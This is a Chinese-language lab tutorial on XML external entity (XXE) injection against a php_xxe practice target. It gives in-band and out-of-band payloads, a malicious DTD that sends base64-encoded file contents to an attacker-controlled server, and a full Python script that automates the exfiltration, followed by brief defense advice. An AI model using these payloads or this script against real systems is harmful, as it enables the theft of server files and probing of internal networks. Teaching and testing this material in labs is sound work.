原理
当允许引用外部实体时,会造成外部实体注入(XXE)漏洞。通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。XXE漏洞分为如下两种:有回显的XXE和无回显的XXE。
漏洞展示
有回显的XXE
我们现在d盘上新建了一个hacker.txt
文件用于测试,首先我们先使用burpsuite进行抓包,这里的靶场使用的是php_xxe
。
这是XML注入的代码,因为在抓包时我们发现数据是以XML的格式进行传送的,初步判断可能存在XML外部实体注入漏洞
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///d:/hacker.txt">
]>
注入成功!!!
无回显的XXE演示
我们先打开php_xxe
目录下的doLogin.php
文件,注释掉echo $result
,增加error_reporting(0)
可以看到,回显信息消失了
对于无回显的XXE,我们需要构建一条带外数据(Out-of Band,OOB)通道来读取数据。思路是:
- 攻击者先发送payload1给Web服务器
- payload1触发Web服务器,Web服务器向VPS获取恶意DTD,并执行payload2
- payload2使Web服务器把结果作为参数来访问VPS上的HTTP服务
- 攻击者通过VPS的HTTP访问记录得到结果
VPS(Virtual Private Server 虚拟专用服务器)技术,将一部服务器分割成多个虚拟专享服务器的优质服务。 每个vps都可分配独立公网IP地址、独立操作系统、独立超大空间、独立内存、独立CPU资源、独立执行程序和独立系统配置等。
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。DTD可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
攻击过程
我们先开启kali的apache2的服务,然后在/var/www/html
这个目录下创建一个evil.xml
文件,文件内容如下
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.75.159/?content=%file;'>"> %payload;
然后在burpsuite中修改为这些内容
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=d:/hacker.txt">
<!ENTITY % dtd SYSTEM "http://192.168.75.159/evil.xml">
%dtd;
%send;
]>
kali的日志信息将文件的内容进行了base64编码,将content后的内容放入decoder上解码就是文件的内容了,启动apache2的命令和查看日志信息的命令为
service apache2 start
tail -f /var/log/apache2/access.log
代码实现自动化
写入脚本相关信息和模块
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from http.server import HTTPServer,SimpleHTTPRequestHandler
import threading
import requests
import sys
编写攻击payload的生成函数,能够根据给定的IP地址和端口生成相应的包含恶意DTD的XML文件
# 创建攻击代码文件
def ExportPayload(lip,lport):
file = open('evil.xml','w')
file.write("<!ENTITY % payload \"<!ENTITY % send SYSTEM 'http://{0}:{1}/?content=%file;'>\"> %payload;".format(lip, lport))
file.close()
print("[*] Payload文件创建成功!")
编写HTTP服务函数,通过http.server模块实现HTTP服务,用来监听目标服务器返回的数据
# 开启HTTP服务,接收数据
def StartHTTP(lip,lport):
# HTTP监听的IP地址和端口
serverAddr = (lip, lport)
httpd = HTTPServer(serverAddr, MyHandler)
print("[*] 正在开启HTTP服务器:\n\n================\nIP地址:{0}\n端口:{1}\n================\n".format(lip, lport))
httpd.serve_forever()
编写POST发送函数,用来向目标服务器发送攻击数据
#通过POST发送攻击数据
def SendData(lip, lport, url):
# 需要读取的文件的路径(默认值)
filePath = "d:\\hacker.txt"
while True:
# 对用户的输入的文件路径斜杠的替换
filePath = filePath.replace('\\', "/")
data = "<?xml version=\"1.0\"?>\n<!DOCTYPE test[\n<!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource={0}\">\n<!ENTITY % dtd SYSTEM \"http://{1}:{2}/evil.xml\">\n%dtd;\n%send;\n]>".format(filePath, lip, lport)
requests.post(url, data=data)
# 继续接收用户的输入,读取指定文件
filePath = input("Input filePath:")
定义一个消息处理类,这个类继承SimpleHTTPRequestHandler。同时需要对原生的日志信息函数进行重写,使其在输出访问信息的同时,把访问的信息记录到文件中去
# 对原生的log_message函数进行重写,在输出结果的同时把结果保存到文件
class MyHandler(SimpleHTTPRequestHandler):
def log_message(self, format, *args):
# 终端输出HTTP访问信息
sys.stderr.write("%s - - [%s] %s\n" %
(self.client_address[0],
self.log_date_time_string(),
format%args))
# 保存信息到文件
textFile = open("result.txt", "a")
textFile.write("%s - - [%s] %s\n" %
(self.client_address[0],
self.log_date_time_string(),
format%args))
textFile.close()
编写主函数,在其中进行相关变量的定义以及函数的调用
if __name__ == '__main__':
#本机IP,IP为kali虚拟机的IP
lip = "192.168.75.159"
#本机HTTP监听端口,可以使用netstat命令查看apache2监听的端口是多少
lport = 80
#目标网站提交表单的URL,IP为物理机的IP
url = "http://192.168.101.3/xxe-lab/php_xxe/doLogin.php"
# 创建payload文件
ExportPayload(lip, lport)
# HTTP服务线程
threadHTTP = threading.Thread(target=StartHTTP,args=(lip, lport))
threadHTTP.start()
# 发送POST数据线程
threadPOST = threading.Thread(target=SendData,args=(lip, lport, url))
threadPOST.start()
执行效果如下图所示
将content后的内容进行base64解码即可看到文件内容
并且将访问的记录都保存在了result.txt文件中
防御策略
XXE的危害不仅在于攻击服务器,还能通过XXE进行内网的端口探测以及攻击内网网站等。防御的方式有默认禁止外部实体的解析
和对用户提交的XML数据进行过滤,如关键词<!DOCTYPE和<!ENTITY 或者 SYSTEM 和 PUBLIC等
。